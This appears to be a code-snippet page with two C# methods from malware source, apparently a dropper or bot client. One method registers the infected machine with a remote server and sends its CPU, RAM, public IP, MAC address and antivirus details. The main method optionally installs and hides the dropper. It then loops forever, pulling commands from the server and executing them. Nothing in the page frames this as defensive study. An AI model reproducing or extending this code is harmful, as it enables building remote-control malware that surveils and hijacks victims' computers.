Beispiel #1
0
        /// <summary>
        /// Attempts to register the client to the webserver
        /// Use of Login returns false
        /// </summary>
        /// <param name="requestSender">RequestSender instance</param>
        /// <param name="systemInfo">InfoGatherer instance, contains system information</param>
        /// <returns></returns>
        private static bool Register(RequestSender requestSender, InfoGatherer systemInfo)
        {
            var formEncoder  = new FormEncoder();
            var registerData = formEncoder.CreateRegisterData(systemInfo.CPU, systemInfo.RamInfo, systemInfo.PublicIP,
                                                              systemInfo.MacAddress, systemInfo.AV);
            var registerRequest  = new RegisterRequest("/api/register.php", registerData);
            var registerResponse = requestSender.SendRequest(registerRequest);
            var jsonResponseData = JsonParser.Deserialize(registerResponse);

            return(jsonResponseData["message"].ToString().ToLower() == "succes");
        }
Beispiel #2
0
        private static void Main()
        {
            var dropperSettings = new Settings();

            var httpConnection = new ServerConnection(dropperSettings.hostname);
            var requestSender  = new RequestSender(httpConnection);

            if (dropperSettings.Install)
            {
                var installer          = new DropperInstaller(dropperSettings.Hide, (DropperInstaller.InstallLocation)dropperSettings.InstallLocation);
                var installationThread = new Thread(() => installer.Install());
                installationThread.Start();
            }

            if (!httpConnection.CanConnect())
            {
                return;
            }

            var systemInformation = new InfoGatherer();

            if (!Login(requestSender, systemInformation.MacAddress))
            {
                if (!Register(requestSender, systemInformation))
                {
                    Environment.Exit(0);
                }
            }

            while (true)
            {
                var newCommand = GetCommand(requestSender, systemInformation.MacAddress);
                newCommand.Execute();

                Thread.Sleep(dropperSettings.TimeOut);
            }
        }